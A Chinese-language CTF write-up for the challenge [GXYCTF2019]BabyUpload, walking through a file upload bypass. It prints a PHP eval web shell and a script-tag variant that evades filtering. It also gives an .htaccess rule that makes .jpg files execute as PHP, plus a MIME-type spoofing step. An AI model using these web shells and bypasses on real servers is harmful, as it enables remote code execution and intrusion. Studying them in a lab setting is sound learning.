[GXYCTF2019]BabyUpload--详细解析
信息搜集
进入界面,直接就是文件上传界面,结合题目,得知考察的是文件上传漏洞。
思路
文件上传漏洞,第一步先看有没有前端校验:
没有前端校验。
我们写一个一句话木马文件:
//shell.php
GIF89a
<?php @eval($_POST[1]);?>
直接上传试试:
界面回显后缀名不能有ph,说明后端对后缀名进行了检测。
那我们修改后缀为.png,然后上传试试:
回显上传类型也太露骨了吧
最开始是猜测是对文件内容进行了过滤,所有再次上传.png文件并抓包测试一下过滤了什么,发现无论怎么修改文件内容都会显示上传类型露骨。
重新审视一下这句话,上传类型在这里指的是文件的后缀类型,将png修改为jpg,上传:
回显变了,但是还是没有上传成功。
根据提示来看,应该是对文件内容中的php语言标签进行了过滤。抓包测试一下到底过滤了没有:
这里用的是我自己总结的字典,需要的可以私信我。
可以看到过滤了<?php标签和<?=短标签,由于没有单独过滤php,所有我们可以使用script类型标签写马。
//shell.jpg
GIF89a
<script language='php'>@eval($_POST[1]);</script>
上传:
/var/www/html/upload/9de741430780f51c0a0a5a416d61e697/shell.jpg succesfully uploaded!
成功上传,且获取了上传路径。
这里就和我们之前做的 [MRCTF2020]你传你马呢 很像了,都是将上传的文件放到了upload目录下的一个子目录,导致我们不能使用.user.ini文件,而是要使用.htaccess配置文件。
//.htaccess
AddType application/x-httpd-php .jpg
上传该文件:
直接上传还是被过滤了。那我们把MIME类型修改为image/jpeg试一下。
/var/www/html/upload/9de741430780f51c0a0a5a416d61e697/.htaccess succesfully uploaded!
成功上传。这时候直接访问我们传入的木马文件即可。
phpinfo()查看一下,过滤了很多命令,还是拿蚁剑连接吧。
根目录找到flag。
总结
和之前做的 [MRCTF2020]你传你马呢 很相似。
新颖的点在于这道题对.png文件也进行了过滤,需要我们使用.jpg文件。由于很多题目我们习惯了上传.png文件,导致忽略了这种过滤。
今后在遇到.png文件失效的情况下,不妨多尝试一下.jpg文件。